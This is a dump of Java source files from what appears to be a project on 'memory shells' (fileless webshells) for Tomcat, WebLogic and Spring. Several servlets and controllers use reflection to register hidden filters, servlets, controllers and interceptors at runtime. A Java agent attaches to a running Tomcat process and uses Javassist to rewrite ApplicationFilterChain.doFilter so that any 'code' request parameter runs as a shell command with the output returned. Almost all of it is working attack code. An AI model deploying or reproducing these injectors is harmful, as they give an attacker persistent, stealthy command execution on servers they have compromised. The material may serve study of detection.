39 | atx.setAccessible(true);
40 | //从ApplicationContext里面拿到StandardContext
41 | StandardContext standardContext = (StandardContext) atx.get(applicationContext);
42 |
43 | //准备内存马
44 | //ServletShell shell = new ServletShell();
45 | ServletShell1 shell = new ServletShell1();
46 |
47 | //用wrapper包装内存马
48 | Wrapper wrapper = new StandardWrapper();
49 | wrapper.setServlet(shell);
50 | wrapper.setName("shell");
51 | //设置加载顺序
52 | //wrapper.setLoadOnStartup(1);
53 | //设置servlet全限定名,可以不设置
54 | wrapper.setServletClass(shell.getClass().getName());
55 |
56 | //添加到标准上下文,不用addChild方法,用反射实现
57 | //standardContext.addChild(wrapper);
58 | Class staCtx = standardContext.getClass();
59 |
60 | //获取父类定义的字段,虽然有继承,但是没卵用。如过
61 | Class staCtxSp = staCtx.getSuperclass();
62 |
63 | Field childrenField = staCtxSp.getDeclaredField("children");
64 | childrenField.setAccessible(true);
65 | HashMap children = (HashMap)childrenField.get(standardContext);
66 | children.put("shell",wrapper);
67 | //改modifiers
68 | Field modifiers = childrenField.getClass().getDeclaredField("modifiers");
69 | modifiers.setAccessible(true);
70 | modifiers.setInt(childrenField,childrenField.getModifiers() & ~Modifier.FINAL);
71 |
72 | //还原children,可以不做,用的是一个引用
73 | childrenField.set(standardContext,children);
74 |
75 |
76 | //添加映射关系,不用addServletMappingDecoded方法,用反射实现
77 | //TODO 有bug,后面研究
78 | standardContext.addServletMappingDecoded("/shell","shell");
79 | resp.getWriter().write("add success!");
80 | return;
81 |
82 | } catch (Exception e) {
83 | e.printStackTrace();
84 | }
85 | resp.getWriter().write("add failed!");
86 |
87 | }
88 | }
89 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/action/AddShellWeblogicFilter.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.action;
2 |
3 | import cn.safe6.filter.FilterShell;
4 | import weblogic.servlet.internal.FilterWrapper;
5 | import weblogic.servlet.internal.WebAppServletContext;
6 | import weblogic.servlet.utils.ServletMapping;
7 | import weblogic.servlet.utils.URLMapping;
8 |
9 | import javax.servlet.ServletException;
10 | import javax.servlet.annotation.WebServlet;
11 | import javax.servlet.http.HttpServlet;
12 | import javax.servlet.http.HttpServletRequest;
13 | import javax.servlet.http.HttpServletResponse;
14 | import java.io.IOException;
15 | import java.lang.reflect.Constructor;
16 | import java.lang.reflect.Field;
17 | import java.lang.reflect.Modifier;
18 | import java.util.EnumSet;
19 | import java.util.List;
20 | import java.util.Map;
21 |
22 | /**
23 | * Filter内存马添加,适用于weblogic
24 | */
25 | @WebServlet("/addWlsShell")
26 | public class AddShellWeblogicFilter extends HttpServlet {
27 |
28 | @Override
29 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
30 |
31 | try {
32 | //先拿到Context
33 | weblogic.servlet.internal.WebAppServletContext context = (weblogic.servlet.internal.WebAppServletContext) req.getServletContext();
34 |
35 |
36 | Field filterManagerField =context.getClass().getDeclaredField("filterManager");
37 | filterManagerField.setAccessible(true);
38 |
39 | weblogic.servlet.internal.FilterManager filterManager= (weblogic.servlet.internal.FilterManager)filterManagerField.get(context);
40 | //filterManager.getFilterChain().add();
41 |
42 | Field filtersField=filterManager.getClass().getDeclaredField("filters");
43 | filtersField.setAccessible(true);
44 |
45 | //final
46 | Field filterPatternListField= filterManager.getClass().getDeclaredField("filterPatternList");
47 | filterPatternListField.setAccessible(true);
48 | Field modifiers = filterPatternListField.getClass().getDeclaredField("modifiers");
49 | modifiers.setAccessible(true);
50 | modifiers.setInt(filterPatternListField,filterPatternListField.getModifiers() & ~Modifier.FINAL);
51 |
52 | //准备filter马
53 | FilterShell filterShell = new FilterShell();
54 |
55 |
56 |
57 | //用wrapper包装filter
58 | Class> clz = Class.forName("weblogic.servlet.internal.FilterWrapper");
59 | Constructor constructor = clz.getDeclaredConstructor(String.class,String.class,Map.class,WebAppServletContext.class);
60 | constructor.setAccessible(true);
61 | FilterWrapper filterWrapper = (FilterWrapper) constructor.newInstance(filterShell.getClass().getName(),filterShell.getClass().getName(),null,context);
62 | //设置wrapper包装的filter对象
63 | Field ff = clz.getDeclaredField("filter");
64 | ff.setAccessible(true);
65 | ff.set(filterWrapper,filterShell);
66 |
67 | //获取filters
68 | Map filterWrapperMap = (Map) filtersField.get(filterManager);
69 |
70 | //添加到filters
71 | filterWrapperMap.put(filterShell.getClass().getName(),filterWrapper);
72 |
73 | //添加映射
74 | List filterInfos = (List) filterPatternListField.get(filterManager);
75 | Class> fiz = Class.forName("weblogic.servlet.internal.FilterManager$FilterInfo");
76 | Constructor constructor1 = fiz.getDeclaredConstructor(String.class, URLMapping.class,WebAppServletContext.class, EnumSet.class);
77 | constructor1.setAccessible(true);
78 | ServletMapping servletMapping = new ServletMapping();
79 | servletMapping.put("/*",filterShell.getClass().getName());
80 | filterInfos.add(constructor1.newInstance(filterShell.getClass().getName(),servletMapping,context,null));
81 |
82 |
83 | resp.getWriter().write("add success!");
84 | return;
85 |
86 | } catch (Exception e) {
87 | e.printStackTrace();
88 | }
89 | resp.getWriter().write("add failed!");
90 |
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/controller/TestController.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.controller;
2 |
3 | import cn.safe6.controller.interceptor.ShellInterceptor;
4 | import org.springframework.beans.factory.annotation.Autowired;
5 | import org.springframework.stereotype.Controller;
6 | import org.springframework.web.bind.annotation.GetMapping;
7 | import org.springframework.web.bind.annotation.PostMapping;
8 | import org.springframework.web.bind.annotation.RequestMapping;
9 | import org.springframework.web.context.ContextLoader;
10 | import org.springframework.web.context.WebApplicationContext;
11 | import org.springframework.web.context.request.RequestContextHolder;
12 | import org.springframework.web.context.request.ServletRequestAttributes;
13 | import org.springframework.web.context.support.WebApplicationContextUtils;
14 | import org.springframework.web.servlet.HandlerInterceptor;
15 | import org.springframework.web.servlet.handler.AbstractHandlerMapping;
16 | import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
17 | import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
18 | import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
19 | import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
20 | import org.springframework.web.servlet.support.RequestContextUtils;
21 |
22 | import java.lang.reflect.Field;
23 | import java.lang.reflect.Method;
24 | import java.lang.reflect.Modifier;
25 | import java.util.List;
26 |
27 | @Controller
28 | public class TestController {
29 |
30 |
31 |
32 | @RequestMapping("/index")
33 | public String test(){
34 | System.out.println(1);
35 | return "index";
36 | }
37 |
38 | /**
39 | * 用于debug,看上下文对象
40 | * @return
41 | */
42 | @RequestMapping("/ctx")
43 | public String ctx(){
44 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
45 | WebApplicationContext context1 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
46 |
47 | System.out.println("get ctx");
48 | return "index";
49 | }
50 |
51 |
52 | /**
53 | * 模拟注入controller内存马
54 | * @return
55 | * @throws Exception
56 | */
57 | @RequestMapping("/addCTShell")
58 | public String addCT() throws Exception {
59 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
60 | //WebApplicationContext context1 = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
61 | RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
62 | RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/controller"),null,null,null,null,null,null);
63 | Class shell = Class.forName("cn.safe6.controller.ShellController");
64 | Method method = shell.getMethod("exec");
65 |
66 | handlerMapping.registerMapping(requestMappingInfo,shell.newInstance(),method);
67 |
68 |
69 | System.out.println(1);
70 | return "index";
71 | }
72 |
73 |
74 | /**
75 | * 模拟注入interceptor内存马
76 | * @return
77 | * @throws Exception
78 | */
79 | @RequestMapping("/addICShell")
80 | public String addIC() throws Exception {
81 | WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
82 | AbstractHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
83 |
84 | //Field interceptorsField = handlerMapping.getClass().getDeclaredField("adaptedInterceptors");
85 | Field interceptorsField = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
86 | interceptorsField.setAccessible(true);
87 |
88 | //修改modifiers
89 | Field modifiers = interceptorsField.getClass().getDeclaredField("modifiers");
90 | modifiers.setAccessible(true);
91 | modifiers.setInt(interceptorsField,interceptorsField.getModifiers() & ~Modifier.FINAL);
92 |
93 | ShellInterceptor shellInterceptor = new ShellInterceptor();
94 |
95 | List adaptedInterceptors = (List) interceptorsField.get(handlerMapping);
96 | adaptedInterceptors.add(shellInterceptor);
97 |
98 | System.out.println(1);
99 | return "index";
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/src/main/java/cn/safe6/action/AddShellFilter.java:
--------------------------------------------------------------------------------
1 | package cn.safe6.action;
2 |
3 | import cn.safe6.filter.FilterShell;
4 | import org.apache.catalina.Container;
5 | import org.apache.catalina.Context;
6 | import org.apache.catalina.Wrapper;
7 | import org.apache.catalina.core.ApplicationContext;
8 | import org.apache.catalina.core.ApplicationFilterConfig;
9 | import org.apache.catalina.core.StandardContext;
10 | import org.apache.catalina.core.StandardWrapper;
11 | import org.apache.tomcat.util.descriptor.web.FilterDef;
12 | import org.apache.tomcat.util.descriptor.web.FilterMap;
13 |
14 | import javax.servlet.FilterConfig;
15 | import javax.servlet.ServletContext;
16 | import javax.servlet.ServletException;
17 | import javax.servlet.annotation.WebServlet;
18 | import javax.servlet.http.HttpServlet;
19 | import javax.servlet.http.HttpServletRequest;
20 | import javax.servlet.http.HttpServletResponse;
21 | import java.io.IOException;
22 | import java.lang.reflect.Constructor;
23 | import java.lang.reflect.Field;
24 | import java.lang.reflect.Modifier;
25 | import java.util.HashMap;
26 | import java.util.Map;
27 |
28 | /**
29 | * Filter内存马添加
30 | */
31 | @WebServlet("/add2")
32 | public class AddShellFilter extends HttpServlet {
33 |
34 | @Override
35 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
36 |
37 | try {
38 | //先拿到ServletContext
39 | ServletContext servletContext = req.getServletContext();
40 | Field appctx =servletContext.getClass().getDeclaredField("context");
41 | appctx.setAccessible(true);
42 |
43 | //从ServletContext里面拿到ApplicationContext
44 | ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
45 | Field atx= applicationContext.getClass().getDeclaredField("context");
46 | atx.setAccessible(true);
47 | //从ApplicationContext里面拿到StandardContext
48 | StandardContext standardContext = (StandardContext) atx.get(applicationContext);
49 |
50 | //准备filter马
51 | FilterShell filterShell = new FilterShell();
52 |
53 | //拿到关键的三个对象
54 | Field filterDefsField = standardContext.getClass().getDeclaredField("filterDefs");
55 | filterDefsField.setAccessible(true);
56 | Field filterMapsField = standardContext.getClass().getDeclaredField("filterMaps");
57 | filterMapsField.setAccessible(true);
58 | Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
59 | filterConfigsField.setAccessible(true);
60 |
61 | //用def包装filter
62 | FilterDef filterDef = new FilterDef();
63 | filterDef.setFilter(filterShell);
64 | filterDef.setFilterName(filterShell.getClass().getName());
65 | filterDef.setFilterClass(filterShell.getClass().getName());
66 |
67 | //添加到上下文
68 | standardContext.addFilterDef(filterDef);
69 |
70 | //配置映射关系
71 | FilterMap filterMap = new FilterMap();
72 |
73 | filterMap.setFilterName(filterShell.getClass().getName());
74 | filterMap.addURLPattern("/*");
75 | //添加到上下文
76 | //standardContext.addFilterMap(filterMap);
77 | //添加到第一位
78 | standardContext.addFilterMapBefore(filterMap);
79 |
80 |
81 | //无法直接new,需要反射
82 | //ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(standardContext,filterDef);
83 | //创建filterConfig
84 | Class> ac = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
85 | //Class> ac1 = this.getClass().getClassLoader().loadClass("org.apache.catalina.core.ApplicationFilterConfig");
86 |
87 | //构造方法不是public的
88 | Constructor constructor = ac.getDeclaredConstructor(org.apache.catalina.Context.class,org.apache.tomcat.util.descriptor.web.FilterDef.class);
89 | constructor.setAccessible(true);
90 | ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
91 |
92 | //添加到filterConfigs
93 | Map filterConfigs = (Map)filterConfigsField.get(standardContext);
94 | filterConfigs.put(filterShell.getClass().getName(),filterConfig);
95 |
96 | //改modifiers
97 | Field modifiers = filterConfigsField.getClass().getDeclaredField("modifiers");
98 | modifiers.setAccessible(true);
99 | modifiers.setInt(filterConfigsField,filterConfigsField.getModifiers() & ~Modifier.FINAL);
100 |
101 | //还原filterConfigs,可以不做,用的是一个引用
102 | //filterConfigsField.set(standardContext,filterConfigs);
103 |
104 |
105 |
106 | resp.getWriter().write("add success!");
107 | return;
108 |
109 | } catch (Exception e) {
110 | e.printStackTrace();
111 | }
112 | resp.getWriter().write("add failed!");
113 |
114 | }
115 | }
116 |
--------------------------------------------------------------------------------
/agent/src/com/demo/agent/Main.java:
--------------------------------------------------------------------------------
1 | package com.demo.agent;
2 |
3 | import com.sun.tools.attach.VirtualMachine;
4 | import com.sun.tools.attach.VirtualMachineDescriptor;
5 | import javassist.*;
6 |
7 | import java.io.File;
8 | import java.io.IOException;
9 | import java.io.UnsupportedEncodingException;
10 | import java.lang.instrument.ClassDefinition;
11 | import java.lang.instrument.Instrumentation;
12 | import java.net.URLDecoder;
13 | import java.util.List;
14 |
15 | public class Main {
16 |
17 | public static void main(String[] args) throws Throwable{
18 | if (args.length == 0){
19 | help();
20 | return;
21 | }
22 | Class.forName("sun.tools.attach.HotSpotAttachProvider");
23 | String option = args[0].trim();
24 | if ("list".equals(option)){
25 | List vms = VirtualMachine.list();
26 | System.out.println("vm count: " + vms.size());
27 | for (int i = 0; i < vms.size(); i++) {
28 | VirtualMachineDescriptor vm = vms.get(i);
29 | System.out.println(String.format("pid: %s displayName:%s",vm.id(),vm.displayName()));
30 | }
31 | }if ("tomcat".equals(option)){
32 | List vms = VirtualMachine.list();
33 | System.out.println("find tomcat pid");
34 | for (int i = 0; i < vms.size(); i++) {
35 | VirtualMachineDescriptor vm = vms.get(i);
36 | //System.out.println(String.format("pid: %s displayName:%s",vm.id(),vm.displayName()));
37 | if (vm.displayName().contains("org.apache.catalina.startup.Bootstrap")){
38 | System.out.println("tomcat pid "+vm.id());
39 | VirtualMachine virtualMachine = VirtualMachine.attach(vm.id());
40 | virtualMachine.loadAgent(getJarFileByClass(Main.class));
41 | System.out.println("inject ok!");
42 | virtualMachine.detach();
43 | }
44 | }
45 | }else {
46 | //String targetPid = args[0];
47 | VirtualMachine virtualMachine = VirtualMachine.attach(option);
48 | virtualMachine.loadAgent(getJarFileByClass(Main.class));
49 | System.out.println("inject ok!");
50 | virtualMachine.detach();
51 | }
52 | }
53 |
54 | public static void agentmain(String agentArg, Instrumentation inst) throws IOException {
55 |
56 | //注册Transformer,配合inst#retransformClasses使用
57 | //inst.addTransformer(new DefineTransformer(),true);
58 | // inst.addTransformer(new DefineTransformer(),true);
59 |
60 | System.out.println("agentmain");
61 | String className = "org.apache.catalina.core.ApplicationFilterChain";
62 |
63 | Class[] classes = inst.getAllLoadedClasses();
64 | for (int i = 0; i < classes.length; i++) {
65 | Class clazz = classes[i];
66 | try {
67 | //System.out.println(clazz.getName());
68 | if (className.equals(clazz.getName())){
69 | System.out.println("Find the Inject Class: " + className);
70 | ClassPool classPool = new ClassPool(true);
71 | classPool.insertClassPath(new ClassClassPath(clazz));
72 | classPool.insertClassPath(new LoaderClassPath(clazz.getClassLoader()));
73 | CtClass ctClass = classPool.get(clazz.getName());
74 | CtMethod m = ctClass.getDeclaredMethod("doFilter");
75 | System.out.println(m);
76 | //在方法开头插入
77 | m.insertBefore(" javax.servlet.http.HttpServletRequest req = request; \n" +
78 | " javax.servlet.http.HttpServletResponse res = response; \n " +
79 | " String arg0 = req.getParameter(\"code\");\n" +
80 | " java.io.PrintWriter writer = res.getWriter();\n" +
81 | " if (arg0 != null) {\n" +
82 | " String o = \"\";\n" +
83 | " java.lang.ProcessBuilder p;\n" +
84 | " if(System.getProperty(\"os.name\").toLowerCase().contains(\"win\")){\n" +
85 | " p = new java.lang.ProcessBuilder(new String[]{\"cmd.exe\", \"/c\", arg0});\n" +
86 | " }else{\n" +
87 | " p = new java.lang.ProcessBuilder(new String[]{\"/bin/sh\", \"-c\", arg0});\n" +
88 | " }\n" +
89 | " java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter(\"\\\\A\");\n" +
90 | " o = c.hasNext() ? c.next(): o;\n" +
91 | " c.close();\n" +
92 | " writer.write(o);\n" +
93 | " writer.flush();\n" +
94 | " writer.close();\n" +
95 | " }");
96 | //System.out.println("insertBefore ok!");
97 | //ctClass.writeFile("D:\\dev\\tomcat\\apache-tomcat-9.0.60\\bin\\");
98 | inst.redefineClasses(new ClassDefinition(clazz,ctClass.toBytecode()));
99 | //inst.retransformClasses(clazz);
100 | ctClass.detach();
101 | }
102 | }catch (Throwable e){
103 | e.printStackTrace();
104 | }
105 |
106 |
107 | }
108 | }
109 |
110 | public static void help(){
111 | System.out.println("java -jar agent.jar list\n" +
112 | "java -jar agent.jar targetPid\n" +
113 | "java -jar agent.jar tomcat\n");
114 | }
115 | public static String getJarFileByClass(Class cs) {
116 | String fileString=null;
117 | String tmpString;
118 | if (cs!=null) {
119 | tmpString=cs.getProtectionDomain().getCodeSource().getLocation().getFile();
120 | if (tmpString.endsWith(".jar")) {
121 | try {
122 | fileString= URLDecoder.decode(tmpString,"utf-8");
123 | } catch (UnsupportedEncodingException e) {
124 | fileString=URLDecoder.decode(tmpString);
125 | }
126 | }
127 | }
128 | return new File(fileString).toString();
129 | }
130 |
131 |
132 | }
133 |
--------------------------------------------------------------------------------